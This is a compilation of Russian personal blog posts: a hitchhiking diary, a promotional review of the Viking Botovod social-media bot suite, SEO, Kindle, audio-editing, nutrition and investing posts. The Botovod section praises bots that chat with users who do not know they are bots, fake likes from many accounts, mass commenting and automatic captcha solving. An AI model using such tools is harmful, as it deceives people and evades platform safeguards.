Остаток дня я провел за сушкой мокрых вещей на солнце, и наслаждением эти самым солнцем. Представьте: склон сопки, у подножия лавовые потоки расстилающиеся вдаль, сверху голубое небо, теплое солнце, прям над головой сталкиваются белые облака, меняя свою форму, около часа я просто лежал на склоне сопки.

Ночевал на старом месте.

Продолжение читаем в следующей статье.

Как пришла идея поездки?

Я шел к данной поездке довольно долго. Во-первых, будучи еще школьником, классе в 10-11 (2008-2009 г.г.) я впервые прочитал про автостоп, как о средстве передвижении на большие расстояния. Читал рассказы некоего Кротова Антона. Так были посеяны первые зерна:-)

Во-вторых, в 2012 перед поездкой в Хакасию некто Анна Морогова рассказала мне о своем путешествии автостопом по Европе от Прибалтики до Амстердама и тогда это послужило довольно хорошим толчком к новому поиску информации.

В-третьих, Алена Князева провезла меня в 2011 году автостопом от Екб до Нижнего Тагила (около 120 км), таким образом она провела «обряд инициации» 🙂

В-четвертых, будучи в июне 2014 года на Сахалине я познакомился с Константином Саввой — просто нереальный парень, который доехал автостопом с Москвы до Чукотки и прожил там 2 года, работая переводчиком на золотодобывающем руднике! 🙂 А так же он застопил яхту на островах Тонгу и уплыл на ней на Фиджи. Яхту он ждал 2 месяца. И это лишь часть удивительных историй. В общем на Сахалин стоило съездить, только ради знакомство с этим человеком. Так же он рассказал мне про каучсерфинг (вот мой профиль)- гостевую социальную сеть, где можно найти себе жилье и друзей на несколько дней практически в любом крупном городе мира.

…цель не просто сгонять в СПб, а по пути посмотреть как можно больше интересных мест…

И вот до поездки на Камчатку (август 2014) у меня остается целый свободный месяц — июль, и успешно сдав экзамены в аспирантуру я решаю прокатиться автостопом до Санкт-Петербурга, но цель не просто сгонять в СПб, а по пути посмотреть как можно больше интересных мест и повидать старых друзей живущих в Глазове, Нижнем Новгороде, Москве, Петербурге.

Так и был спланирован маршрут Екб — Кунгур — Пермь — Глазов — Ижевск — Казань — Нижний Новгород — Владимир — Москва — Тверь — Великий Новгород — Петербург. Длиной в 3 000 км

Я отправился в путь без палатки и спальника (лишний груз), взяв с собой рюкзак на 60 литров. Немного теплых вещей и ботинки, шорты и сандали — ничего специфического.

1 участок пути. Екатеринбург — Пермь (400 км)

Первые 400 км от Екб до Перми преодолел на 6 машинах, за 5 часов. Пока ехал я принял спонтанное решение заехать в Кунгур (изначально его в маршруте не было), так как из Екб я выехал в 7 утра, а в Перми меня ждали только к 18 вечера (люди работают все таки). В 11 30 я уже был у Кунгура, пообедал в столовой на въезде в город и за 2 часа обошел центр города. Подвозили меня люди разные, причем на это участке пути я не ждал машину дольше 10 минут (поэтому и проехал 400 км всего за 5 часов) наиболее запомнился парень на рефрижераторе, которые развозил из Перми по городам края — рыбу, пельмени, мороженое. Официальная зарплата у него была 25 000 рублей, но он мог раз в два дня сливать бак соляры в 60 литров (реальный расход топлива был меньше, чем по бумагам) + он продавал лишние ящики с товарами, которые ему по ошибке закинули. (вообще в дальнейшем сложилось ощущение, что все так в России живут).

В Перми было хорошо:) Я остановился в центре города в 3 комнатной квартире у Кати и Сергея, спал на полу. Еще была особенность — если днем не поиграть с котом, то он всю ночь будет приставать) Жил в Перми 2 полных дня. В первый день Катя ходила по работе в разные места и заодно устроила мне экскурсию по городу, а вечером я по гостевому купону бесплатно посетил турецкую баню, финскую сауну и джакузи в одном из фитнес центров, пока Катя занималась в тренажерке в этом же центре. Далее в ночь мы пошли в анти-кафе и отдав всего 250 рублей с 19 до 6 утра играли в мафию (человек было от 15 до 23)) и различные другие интересные игрули.

Утром 2 дня я отоспался, а днем пошел гулять по историческому центру снабженному 2 линиями и информационными стендами с описанием достопримечательностей — прогулка по линиям на 4-5 часов.

2 участок пути. Пермь — Глазов (350 км)

С Перми уезжал тяжеловато — 40 минут ждал машину на выезде из города, там несколько поворотов и отбойник, поэтому для хорошей позиции надо было пройти пешком около 3 км. До Глазова ехал 7 часов, так же на 6 машинах. Самый интересный был владелец шиномонтажки, который ехал из Перми в Воткинск, ехал с похмелья и потому гнал всего 110, а не 150, как всегда. И то, что был с похмелья решил подбросить меня, что бы не так скучно было. Еще был камазист из Сухого Лога (Свердловской области) он ехал в Чебоксары и мог весь путь проехать за 3 дня. но по документам он должен был ехать 350 км в день (его отслеживали по GPS с завода) и если бы он приехал на 1 день раньше, то его лишили бы части командировочных и суточных, поэтому он никуда не спешил и плелся еле-еле — вот такой парадокс :). Стоит упомянуть, что Глазов находится в 80 км севернее автомагистрали, поэтому на него поток машин был существенно меньше, плюс я попал на вечер воскресенья и потому эти 80 км ехал целых 2 часа, очень долго ждал машины. Глазов посмотрел за 1 день, сходил в баню, поиграл в Sega и поехал дальше. Прошло 5 дней.

3 участок пути. Глазов — Ижевск (180 км)

На 6 день выехал в Ижевск. Теперь мне нужно было вернуться обратно к автомагистрали — 80 км на юг до населенного пункта Игра. Эту часть пути меня провез парень из Москвы, ехавший из Архангельска до Перми. Он уже сутки не спал, пил кофе и рассказывал мне про Китай и о своих друзьях которые сидят дома перед телевизорами. В Игре он меня высадил и я увидел стоящую на обочине фуру (в направлении Ижевска) и рядом водителя. Недолго думая я подошел к нему и узнал, не подвезет ли он меня до Ижевска, он к моему удивлению согласился. Оказался он очень молчаливым и за всю дорогу мы не обменялись не единым словом. Высадил он меня на объездной дороге. Оттуда я так же застопил за 15 минут легковую машину и попал прямо в центр города.

Оказался он очень молчаливым и за всю дорогу мы не обменялись не единым словом.

Надо сказать. что для ориентирования в городах я использовал 2Gis — у них сейчас очень большая база городов РФ и работает все в оффлайне. Рекомендую!

Ижевск родина Ак-47, мотоцикла Иж, столица Республики Удмуртия. Центр города можно оббежать за 1 день, а хрущевские окраины не интересны. Город интересен Свято-Михайловским собором восстановленным в 2007 году, музеем Калашникова, набережной. Жил я у студента медика, окончившего 4 курс — очень дельный и интересный парень. Мне с ним повезло, он только 2 дня как зарегистрировался на каучсерфинге, как я ему прислал заявку. Я тогда в Ижевск заявок 20 отправил — никто не ответил, а он согласился принять меня, а мне было все равно, надо же было куда пристроиться. Я еще потом так же в Твери останавливался у человека без отзывов — это немного страшновато. 

Так же в Ижевске меня впервые накрыло ливнем, так что я промок до нитки

4 участок пути. Ижевск — Казань (400 км)

На 8 день выехал в Казань. Очень долго выходил из города — большая, по площади, часть города состоящая из частного сектора. Зато на выходе из города увидел стоящую на обочине фуру. Подбежал к водителю и спросил не подбросит ли меня до Казани. Он ответил, что до вечера ждет напарника, и когда я уже было грустный двинулся дальше, но он сказал, что по радиостанции может спросить у проезжающих мимо фур — может ли кто меня подобрать. И как по заказу через 2 минуты остановилась фура идущая аж на Нижний Новгород (770 км от Ижевска), так что к вечеру уже мог быть в Новгороде.

…по радиостанции может спросить у проезжающих мимо фур — может ли кто меня подобрать…

Но путь мой был в Казань и потому я высадился на Казанской объездной в 20 км от города. В целом Татарстан оставил очень хорошие впечатления и по качеству дорог и по ухоженности самой Казани, на порядок лучше чем в соседних регионах. Пока ехал на легковушке от объездной до города успел пройти ливень. С дороги я устал и гулять по городу не хотелось, поэтому 5 часов ждал в Меге пока Тимур (парень у которого я жил в Казани) освободится к 20 часам с работы. В Казань я так же отправлял около 25 заявок, но отозвалась сначала лишь Лена, но потом у нее возникла командировка и по срокам мой приезд стал ей неудобен. И я буквально вечером перед отъездом из Ижевска получил новое одобрение заявки от Тимура. На следующий день из Екб приехала Альфия на поезде и жила с нами три дня. Жили мы в центре Казани, в огромной квартире. В целом все те у кого я останавливался по каучсерфингу были крайне позитивными, открытыми и добрыми людьми. Тимур не был исключением. Так же в крайний день в Казани он показал нам остров Свияжск в 30 км от Казани. Очень там красиво:)

5 участок пути. Казань — Нижний Новгород (370 км)

На 12 день пути я выехал в Н. Новгород. К тому моменту уже чувствовалась небольшая усталость от поездки, то впереди меня ждало еще много интересного. Ехал на 2 машинах и первым меня подвез от Казани до Свияжска реставратор церковных храмов, в прошлом он вел разгульный образ жизни, но бог направил его на путь истинный и теперь у него квартира, семья и все хорошо. В целом меня довольно часто подвозили верующие люди, потому что это по христиански — помогать путникам и путешественникам. Так же меня вез один дядька (с Екб до Перми) который утверждал, что земле всего 7 000 лет 🙂 с ним я не стал спорить, да и бесполезно это.

 В целом меня довольно часто подвозили верующие люди…

Ждал первую машину минут около часа, что странно — с Казани был очень хороший поток машин. Вторую машину ждал в населенном пункте маленьком, рядом с кафе для дальнобойщиков. И вот я бегал от дороги до фур, которые только, что свернули и встали на отдых. С фурами мне не везло и потому набегавшись туда сюда я решил уйти от невезучего места куда подальше. И вот на новом месте меня подобрала maxi газель — типа валдая. Водитель оказался очень интересным. В 96 окончил школу и завербовался на Чукотку стропальщиком в порт Анадырь, 2 года там проработал (он так же жил на Чукотке до 8 лет в детстве) и в 98 вернулся домой и пошел сразу в военкомат, 2 года отслужил и подписал контракт, закончил офицерские курсы и стал младшим лейтенантом. Потом воевал в Чечне 8 лет, в 2010 уволился из армии и теперь в 37 он на пенсии, 4 года работает дальнобоем. Кстати его чуть не посадили по ложному обвинению, его даже уже в тюрьму отправили, где он 2 недели отсидел, но следователь, который вел дело нашел новую зацепку и его освободили.

По пути мы встретили Болгар (припаркованные машины на обочине трассы с номерами Евро Союза), один из них на русском (с акцентом) сказал нам, что они из Болгарии и показал банковскую карту сломанную — мол они не могут денег снять и потому русских денег нет вообще, а бенз кончается. Мой водила ответил, что мы мол едем на соляре и им не можем помочь, на что болгарин снял перстень с пальца и сказал: «вот мой золотой перстень в 20 грамм, дай денег сколько можешь«. А ему все равно сколько, он болгарин типа богатый:) В итоге водитель дал ему 2 000 рублей за золотое кольцо в 20 грамм веса (1 грамм золота 1 500 рублей так то стоит). На кольце в принципе было клеймо завода и клеймо пробы, но на одной из заправок мы покидали кольцо на асфальт — оно звенело, значит настоящее (так можно определить настоящее оно или нет).

Вот мой золотой перстень в 20 грамм, дай денег сколько можешь!

Приехав в Новгород я отправился к друзьям домой, а мой водитель в ломбард (сам он ехал дальше в Москву) — так что настоящее кольцо или нет я не знаю до сих пор.

В Новгороде я жил у ребят с моего родного Нижневартовска, которых не видел лет 5. Так же с нами жил их родственник — беженец с Луганской области, который много чего интересного рассказал о тамошней ситуации. Так же в Новгороде встретился с Руфиной, вместе с которой ездил в 2013 году в Норвегию, очень была радостная встреча. Так же Руфина занимается волонтерской деятельностью, например вывозят инвалидов колясочников на концерты (не проданные билеты им отдают по договоренности), еще они занимаются уборкой мусора (проект Антисвин) на прибрежных районах водоемов. В общей сложности прожил в городе 3 дня.

На 16 день выехал во Владимир (200 км)

К обеду был уже на месте, но мне снова пришлось гулять по городу с рюкзаком до вечера — ждать пока парень найденный мной на каучсерфинге приедет с работы. Кстати Макдональдсы — это сеть бесплатных туалетов и wi — fi. Очень удобны, есть практически в любом городе. Владимир относится к золотому кольцу России, но посмотреть все достопримечательности можно за 4-5 часов — они все находятся на центральной улице, вся остальная часть города — хрущевки.

Макдональдсы — это сеть бесплатных туалетов и wi — fi

На 17 день выехал в Москву (200 км)

Ехал их около 5 часов:) Просто смех, когда федеральная трасса проходит по всем деревням с кучей светофоров, плюс постоянный ремонт дороги создает не хилую пробку. Особо опасное место — Балашиха, здесь пробка круглосуточная. До МКАДа меня подвез Иракец, который перебрался в Россию 4 года назад, уже неплохо выучил русский. Сам он терапевт, но в России работает репетитором арабского языка. Саддама Хусейна сравнил с нашим Сталином. Вот так вот.

В Москве жил еще 2 дня, у классного парня Дениса Хузуна — очень энергичный и позитивный человек, с массой интересных идей, как для жизни так и для бизнеса. Еще встретился с Евгенией и Денисом, с которыми так же был в Норвегии в 2013, благодаря их машине довольно многое успели посмотреть за 1 день.

Москва поражает своей монументальностью и теми деньгами, что там вертятся. Как сказала Карина Маликова: «там можно руку высунуть и деньги сами будут липнуть — вот такая энергетика«.

Так же в Москве понравилась транспортная система – всем советую купить карту Тройку за 50 р (их можно будет вернуть, когда будете сдавать карту назад) и спокойно по ней кататься на всех видах транспорта.

На 20 день выехал в Тверь (170 км)

С Москвы очень тяжело уезжать, так как пригород большой, но есть 400 автобус идущий от речного вокзала до Зеленограда и оттуда уже можно спокойно машину застопить. До Твери ехал на 5 машинах, одной из которых был автобус (желтый пазик), который ехал за рабочими. В Твери так же был к обеду, и гулял до вечера. Тверь родина Афанасия Никитина и Михаила Круга. Кремля у Твери нет, его дважды уничтожали Москвичи в среднии века, когда была борьба за власть между княжествами.

В Твери жил у отставного офицера связи, который после армии начал заниматься кожей (он скорняк).

На 21 день выехал в Великий Новгород (400 км)

Последний большой переезд. В Вышнем Волочке была огромная пробка из-за того что опять же автомагистраль проходила прямо через город, и имелся светофор:) и ремонт моста. В общем властям построить объезд — недосуг. Пробка была на 4 часа, но мы ее объехали по обочине, а в городе уже петляли по улочками объезжая светофор.

не судите о людях по их профессии

До Новгородской объездной меня подвез водитель фуры, который рассказывал о культуре общения, здоровом питании (фрукты, овощи, орехи, вода), зарядке по утрам, солнечном загаре. В общем несмотря на то, что был простым Камазистом — оказался не так прост. Так что не судите о людях по их профессии:)

22 день. Великий Новгород

22 день путешествия провел в Новгороде — очень красивом городе, с хорошим кремлем и музеем деревянного зодчества. Из Петербурга ехать до Новгорода всего 3 часа, автобус стоит 300 р. Удобно приехать утром, а вечером уже назад в Петербург.

Так же в Новгороде познакомился с 2 китаянками, которые собирались на поездах объехать всю Россию от Петрозаводска до Иркутска. Очень интересно пообщались на английском — действительно язык объединяет разные народы:)

23 день (150 км)

И наконец-то на 23 день проехав крайние 150 км автостопом я прибыл в Петербург. Потратил при этом всего 5 050 рублей. Встретил многих интересных и открытых людей, повидал старых знакомых. В Петербурге меня ждали мои лицейские друзья Саша Лощев и Карина Маликова, которая наконец-то показала свою Йога студию в мансарде, на крыше которой нам все таки удалось посидеть и полюбоваться ночным Петербургом.

PS: За время поездки встретил множество добрых и хороших людей, готовых помочь незнакомому человеку. Этой поездки не было бы без: 

• Кати Трубиновой из Перми,
• Ивана Сандалова из Глазова,
• Андрея Камашева из Ижевска,
• Тимура Гатауллина из Казани (и его друзей),
• Шаповловых из Нижнего Новгорода,
• Олега Кучерова из Владимира,
• Дениса Хузуна из Москвы,
• Александра Гончарова из Твери,
• Юрия Красавина из Великого Новгорода,
• Александра Лощева из Петербурга.

И конечно же не было бы поездки без песен Dub FX и Макса Коржа про зеленый чемодан:)

Константин Каськаев

Несколько слов о Viking Botovod

Можно использовать бесплатную Lite версию, доступную для скачивания на сайте компании-разработчика (Viking Studio), либо полную версию (Pro), обладающую расширенным функционалом.

Раскрутками сайтов и групп я занимаюсь не так давно, но уже накопился определенный опыт практической деятельности в данной сфере, который позволяет мне смело утверждать о том, что программа Viking Botovod способна реально быстро и эффективно раскрутить практически «нулевую» группу. Конечно, если информация в группе будет действительно интересная и полезная, а не какой-нибудь шлак.

Для знакомства с программой достаточно зарегистрироваться на сайте Viking Studio, скачав там оригинальную версию Viking Botovod. Просто выберите одну из двух версий — демонстрационную (Lite) либо полную (Pro), а все остальное программа сделает самостоятельно. Лично я работал с полной версии программы.

Функциональные способности Viking Botovod

Широкий спектр функциональных способностей Viking Botovod позволяет успешно решать целый ряд мероприятий, влияющих на степень и время раскрутки группы ВКонтакте:

Программа «Болтун». Данное приложение предназначено для общения в полностью автоматическом режиме с реальными пользователями. «Болтун» способен одновременно переписываться с 600 пользователями, которые даже не будут подозревать о том, что общаются с ботом.

Функция «Обменник». Эта функция позволяет получить абсолютно любое число друзей, подписчиков либо сердечек. С помощью «Обменника», доступного и для Lite версии, вы сможете накрутить себе практически все, что захотите.

Функция «Мне нравится». Результатом работы данного приложения является автоматическое добавление лайков на выбранных вами страницах любых пользователей. Основное достоинство «Мне нравится» — возможность выставления лайков с нескольких аккаунтов.

Подписка на RSS-рассылку. Считаю, что данная функция, позволяющая производить автоматическое копирование любого контента с сайтов и новостных порталов в вашу группу, является одной из наиболее полезных.

Функция «Встроенный планировщик». «Встроенный планировщик» отвечает за автоматическую публикацию контента в нужное вам время. Вам нужно лишь добавлять необходимый контент (текстовые материалы, фото, видео, аудио), задав время публикации.

Френдинг. Данная опция позволяет добавлять друзей с учетом ряда параметров: личные данные (пол, возраст, страна, город), возможные друзья, участие в группах, друзья аккаунта, возможные друзья подписчиков.

Интегрированный браузер. Данная функция позволяет производить серфинг и выполнять все возможные действия из нескольких аккаунтов одновременно.

Автоматическая расшифровка капчи. Данная опция, производящая автоматическое соединение с сервисом antigate.com, избавит вас от необходимости ввода капчи (цифр, буков и картинок). Нужно только зарегистрироваться на антигейте и внести несколько долларов на счет. Лично мне хватает 3$ примерно на год-полтора, причем использую достаточно активно. В общем, хороший сервис!

Кстати, вот вам инвайт для Антигейта на 10 тестовых капч: c4546da794. Он только один, кто успел, тот молодец 🙂

Защита от бана. Специальный фильтр, интегрированный в Viking Botovod, проверяет страницы на наличие определенных слов и производит их блокировку (при необходимости).

[yframe url=’http://www.youtube.com/watch?v=ucuXFFCzXGA’]

Что еще есть у Viking Studio?

Викинги предлагают целый ряд программных продуктов (кроме Ботовода), которые можно приобрести со значительной скидкой (до 25%, если приобретаете все комплектом):

Viking Inviter. Данная программа, производящая автоматическое приглашение пользователей в вашу группу, может послужить прекрасным дополнением к Viking Botovod. С помощью Viking Inviter можно набрать в группу максимально возможное количество участников.

Viking Troll. Предназначение данного приложения — автоматический обмен комментариями. Viking Troll позволяет оставить большое количество сообщений, используя одновременно несколько десятков различных аккаунтов.

Viking Antispam. Эта программа будет в автоматическом режиме регулярно производить очистку вашей группы от спама. Использование Viking Antispam очистит группу либо публичную страницу от спама, оставив только необходимую вам информацию.

Эффект от использования линейки программных продуктов Viking Studio не заставит себя долго ждать, в разы увеличив посещаемость, количественный состав и активность вашей группы.

Но помните, что это лишь технологии и скрипты. Помогают — да, но никакие скрипты и технологии не смогут заменить живого человека, тем более, ни один скрипт не купит в вашем магазине, а человек может купить 😉 Так что не имейте 100 ботов, а имейте 100 покупателей 😉

Удачи вам с продвжиеним групп!

Привет, друзья! Просто не могу не написать этот пост;-) Началось все с того, что АлаичЪ предложил скинуться на программу, которая упростит жизнь сеошнику, я не раздумывая скинулся и не пожалел об этом!

Быть альфа-тестером очень увлекательно и интересно, пишешь о баге — завтра он уже исправлен;) Приятно!

Ладно, что это я все о прошлом. Давайте же посмотрим на программу! Специально для вас сделал видео-обзор основных возможностей:

Надеюсь, звук получился хороший, в этом видео я первый раз использовал систему двух микрофонов, поэтому полноценное стерео обеспечено! По крайней мере, надеюсь на это;-)

 Что может программа?

Программа собирает огромное количество параметров площадок, выводит их в одном месте и… и самое главное… считает по секретной формуле ТРАСТ сайта и СПАМ сайта. Как уже показала практика, очень и очень адекватно определяется качество сайта.

Можно долго холиварить по поводу существования ТРАСТА. Скажу так, даже если и траста не существует, существует понятие Хороший-Плохой сайт, Чистый-Заспамленный сайт. Как раз на эти два вопроса FastTrust позволяет получить ответ.

Добавим три сайта, хороший, средненький и совсем маленький:

Можете видеть, что хороший сайт выделяется зеленым, средний синим, а у маленького вообще значение 102. Это служебное значение, обозначающее, что недостаточно данных для расчета параметра СПАМ.

В видео я ставил обе границы для фильтров. Напишу тут, что можно ставить только одну границу, например ТРАСТ от 40 (не обязательно писать, что до 100).

Я пишу обзор не первый, до меня уже много сказано и написано, поэтому все расписывать не буду, а просто оставлю несколько ссылок тут:

• Огромный обзор от Максима Довженко
• Обзор и розыгрыш от Дмитрия Sickboy
• FAQ на официальном сайте программы

Нужна ли программа сеошнику?

Да, если сеошник хочет оптимизировать свою работу, повысить эффективность и качество. В общем, как говорится, маст хэв!

Нужна ли программа блогеру?

Тут все зависит от того, сколько у вас блогов, как часто вы закупаете ссылки. Если блог для вас это основной источник доходов, то однозначно нужна, так как позволит наращивать максимально полезную ссылочную массу.

Сколько стоит? Есть ли скидка?

Программа продается за 3000 рублей, за эти деньги вы получаете сразу 2 лицензии. То есть по 1500 за лицензию.

Для читателей моего блога предоставляется скидка 30%, нужно только оставить комментарий под этой статьей и при покупке программы указать промокод «Я от Атамовича, дай скидку!!». Купить можно тут. К сожалению, скидочные купоны закончились:-(

Кстати, советую поторопиться, только первые 10 человек получат скидку!

Вот и всё! Приятного дня!

Александр Лощев,
aka Atamovich

Способ 1 — легальный

В Амазоне работают ребята адекватные, поэтому имеет смысл им написать. Для этого нужно зайти на их сайт в раздел помощи. Затем выбираем наше устройство (вы же его уже давно зарегистрировали, верно? 😉 ).

Далее внизу выбираем по порядку следующие пункты:

1) Select an issue: «Kindle device»
2) Select issue details: «Kindle with Special Offers»
3) Select additional details: «Problems claiming offer»
4) Нажать «Start chatting»

Тут два варианта, либо чат работает, либо нет и придется писать по email (есть еще третий — звонок, но его стоит выбирать, если вы хорошо разговариваете на английском). У меня почему-то чат не захотел работать и я выбрал email.

Включаем на своем Kindle сеть Wi-Fi, чтобы он подключился к интернету. Так амазоновцы будут проверять, действительно ли мы находимся там, где не работают их сервисы.

Пишем:

Hello! My name is Dmitriy. I was presented with a Kindle with special offers. But i do not use them at all. Could you, please, help me to get free from the offers.

Обязательно в это время Kindle должен быть подключен к интернету.

Если все прошло удачно, то через 5 минут (как в моем случае) на читалке появится такая надпись:

На всякий случай даю возможный вариант диалога (взято из 4pda):

Chat
You are now connected to Amazon from Amazon.com.
Me:Hello! My name is Dmitriy. I was presented with a Kindle with special offers. But i do not use them at all. Could you, please, help me to get free from the offers.
Amazon:Hello, My name is Murugesan. I’ll be happy to help you today.
Is this Dmitriy’s Kindle?
Me:How can I disable Special Offers,if I live in Greece and Kindle was given to me?
Babu:Is you device connected wirelessly?
1 minute
yes
I connected
Amazon:I’ll do it for you.
Me:Great!
Thank you so much!
Amazon:I’ve cancelled the special offers for you Dmitriy.
Me:Thank you
Amazon:You’re welcome.
Is there anything else I can do for you today?
Me:thank’s all for today
Amazon: Thanks for contacting us at Amazon kindle support.
Please click the «End Chat» link to close this window.

Готово! Теперь у вас нет рекламы:)

Способ 2 — нелегальный

Итак, второй способ подразумевает работу именно с самим устройством.

Инструкция взята снова с 4pda.

1. Сделать резервную копию пользовательских файлов из директории «documents».
2. Отменить регистрацию: Home > Menu > Settings > Registration (deregister).
3. Отключить беспроводную WiFi связь Kindle.
4. Вернуть ридер к заводским настройкам: Home > Menu > Settings > Menu > Reset to Factory Defaults
5. Подключить Kindle к компьютеру.
6. Создать в директории «system» диска Kindle текстовый файл «.assets».
7. Установить атрибут «только чтение» (Read-Only) в свойствах файла «.assets».
8. Отключить Kindle от компьютера.
9. Произвести регистрацию Kindle: Home > Menu > Settings > Registration (register) и пользоваться им в обычном режиме.

Надеюсь, вы знаете как ставить атрибут только чтение (подскажу, это легче всего сделать через тотал коммандер или стандартными средствами винды).

Такие дела, народ! Желаю и вам удачи:)

Александр Лощев

aka Atamovich

Допустим, у нас есть видео с котом, где мы произносим несколько раз «ЭЭЭ», пару раз «Цокаем». Загоняем его в видео-редактор Sony Vegas Pro.

Если у вас еще не установлен Adobe Audition, то бежим ставить и возвращаемся сюда, а если установлен, то читаем далее;-)

В Вегасе заходим в Настройки —> Параметры —> нажимаем на вкладку Аудио.

В строке ввода «Выбранный аудиоредактор» нажимаем обзор и идем туда, где установлен Аудишн, выбираем Audition.exe.

Нажимаем ОК. Теперь мы можем нажать правой кнопкой на аудио-дорожке нашего видео и нажать «Открыть в аудиоредакторе» или нажать CTRL + E.

Теперь мы можем как угодно издеваться над аудио-дорожкой 🙂

Очень не рекомендую УДАЛЯТЬ что-то из этой дорожки, так как она должна быть такой же длины, как и видео. Рекомендую просто приглушать до нуля.

Чтобы сделать тише определенный участок необходимо его выделить, затем нажать на «кругляшок» и потянуть вниз (чтобы понять, как именно, смотрите видео).

Ниже представлены скриншоты того, как примерно выглядят разные звуки. Они выделены белым фоном, в то время как остальная дорожка на черном.

Цокание

Чмоканье

ЭЭЭ

В общем, нужно слушать и слушать в наушниках! Все в ваших руках 😉

Надеюсь, был полезен.

Александр Лощев

aka Atamovich

Другими словами, при таком питании организм правильно развивается и функционирует, осуществляется профилактика различных заболеваний.

Принципы рационально питания

К основным принципам рационально сбалансированного питания следует отнести:

• энергетическая ценность суточного рациона обязана соответствовать энергозатратам организма;
• наличие в пище микроэлементов, макроэлементов;
• оптимальное соотношение углеводов, жиров и белков;
• наличие в пище защитных и незаменимых компонентов;
• хорошая усвояемость пищи, которая напрямую зависит от способа приготовления пищи и от её состава;
• высокие органолептические свойства (вкус, запах, цвет, внешний вид) пищи;
• соблюдение режима питания;
• санитарно-эпидемическая безвредность пищи.

Режим питания

Режим питания подразумевает под собой:

• количество приёмов пищи в течение дня;
• время приёмов пищи в течение дня;
• время, которое затрачивается на приём пищи;
• интервалы между приёмами пищи;
• распределение суточного рациона на основании его энергетической ценности.

При этом количество приёмов пищи при сбалансированном питании может колебаться от 4 до 6 раз в сутки: завтрак, 2-ой завтрак, обед, полдник, ужин, 2-ой ужин.

При 4 разовом питании распределение энергетической ценности суточного рациона в процентном соотношении выглядит следующим образом: 25-30 на завтрак, 35-40 на обед, 20-25 на ужин, 5-10 на 2-ой ужин.

При 5 разовом питании: 20-25 на завтрак, 10-15 на 2-ой завтрак, 30 на обед, 20-25 на ужин, 5-10 на 2-ой ужин. Кроме того, при 5 разовом питании существует другая схема распределения калорийности принимаемой пищи в течение суток: 25 на завтрак, 35 на обед, 10 на полдник, 20-25 на ужин, 5-10 на 2-ой ужин.

При 6 разовом питании: 20-25 на завтрак, 10-15 на 2-ой завтрак, 25-30 на обед, 10-15 на полдник, 20 на ужин, 5-10 на 2-ой ужин.

Последний приём пищи – не позднее 2-3 часов до отхода ко сну.

При этом стараться избегать употребления мучных изделий, жирной и жареной пищи, в обязательном порядке включить в рацион пищу, богатую белком, сложными углеводами и клетчаткой, свежие овощи и фрукты.

Примечание:

Об энергетических потребностях говорилось в прошлой статье. Напомню, что для людей, занимающихся умственным трудом, энергетические потребности в сутки составляют 2000-2600 ккал, тогда как для людей, занятых преимущественно тяжёлым физическим трудом и спортсменов, этот показатель увеличивается до 4000-5000 ккал в сутки. Для женщин из показателей следует вычесть 10%.

Соотношение белков, жиров и углеводов

Если говорить о соотношении в употребляемой пище между белками, жирами и углеводами, то в норме схема выглядит следующим образом: 1:1:4 (80-100 граммов белков, 100 граммов жиров, 400 граммов углеводов). Для мужчин и женщин, занимающихся преимущественно умственным трудом, схема будет выглядеть так: 1:1,1:4,1 (к примеру, 100 граммов белков, 110 граммов жиров, 410 граммов углеводов, но не забывать об энергетических потребностях). При тяжёлом физическом труде схема такая: 1:1,3:3,5 (к примеру, 110 граммов белков, 130 граммов жиров, 350 граммов углеводов, не забывать об энергетических потребностях). Для людей с ожирением, “севших” на диету: 1:0,7:1,5 (100 граммов белков, 70 граммов жиров, 150 граммов углеводов, не забывать об энергетических потребностях, которые в этом случае высчитываются для своего возраста и роста, делает небольшая корректировка на вес).

Следует заметить, что половина употребляемого белка должна быть растительного происхождения (в качестве источников выступают рис, картофель, семечки, макаронные изделия, грибы, орехи, крупяные изделия), тогда как вторая половина – животного происхождения (рыба, творог, мясо, яйца, сыр).

Оптимальным количеством употребляемых жиров считается 1 грамм жира на 1 килограмм массы тела.

Специально для atamovich.ru
Партач Василий,
Врач акушер-инфекционист

Был обычный день, я решил прочитать свою rss-ленту, так как уже пару месяцев не заглядывал в нее. Первым постом была запись Юрия Гусева о том, как его приняли в DMOZ. После прочтения подумал, а почему бы снова не попробовать подать заявку? Почему снова, потому что я уже раза 2-3 подавал, но года полтора — два назад. 

Итак, нашел самой подходящей рубрику Russian/Общество/Люди/Личные страницы/Блоги/Л. Во-первых, мой блог как раз подходит, во-вторых в этом разделе мало сайтов. Подал заявку примерно до обеда, часов в 10-11 дня. Ушел в универ, забыв закрыть вкладку с этой рубрикой…

Прихожу с универа и…. и вижу вот такую картину:

Вы видите-видите??! Лощев Александр! А это я!! 😉

То есть за какие-то 8-10 часов мой сайт приняли в DMOZ! В общем, я в глубоком шоке.

Единственное, описание совершенно не соответствует тому, которое я задавал в заявке.

Необычность ситуации придает еще и тот факт, что у этого раздела нет редактора. Насколько я знаю, в тех разделах, где нет редактора, вообще нереально разместиться. Что ж, теперь я так не думаю;-)

Мораль: Пробуйте! Пробуйте! И еще раз пробуйте и у вас все получится!

PS: Ах, да! После этого неожиданного события как-то резко потянуло заняться блогом, привести его в порядок, написать то, что давно хотел написать, повысить юзабилити и т.д. А для этого нужна Ваша помощь, дорогие читатели! Пожалуйста, напиши в комментариях, что нравится, что не нравится в этом блоге, я постараюсь принять меры 😉

Желаю удачи, друзья!

Александр Лощев,

aka Atamovich

Если вы помните, АлексЖук на 20 неделе просел на 6,74%, и дал минус в -50,47$, я решил, что на следующую неделю он будет активно отбивать свою просадку, но ошибся. На 21 неделе Жук просел еще аж на 20,94%! Такого не ожидал никто. Для консервативного управляющего такой минус просто недопустим. Я был очень рад, что снизил доли всех управляющих, чтобы вложить в Веронику. Поэтому убытки на 21 недели составили всего -94,21$, а если учесть других управляющих, которые сработали в плюс, то -68,72$. А могли бы составить 146$!

Хватит о плохом! Остальные недели Жук активно отбивал просадку и давал не менее 2% дохода. Оболин тоже показывает очень хорошие результаты. Свен и Вероника работают в «штатном режиме» средней доходности;-)

Ладно, что я вас утомляю, смотрите на таблицу сами:

По итогам месяца ситуация следующая:

По итогам можно сказать, что данный вид вложения денег рискованный, но все же дает плюс, причем больше банковского депозита. Даже с учетом такой катастрофичной просадки Жука, я имею плюс. Если вы заинтересовались, то можете ознакомиться с вводной статьей про ПАММы.

Удачи и успехов!

Александр Лощев,
aka Atamovich

Получение энергии

Энергия представляет собой количественную меру определённого вида движения материи при её различных превращениях. Под работой понимается мера превращения энергии из одной формы в другую. Кроме того, в организме постоянно происходят процессы ассимиляции и диссимиляции.

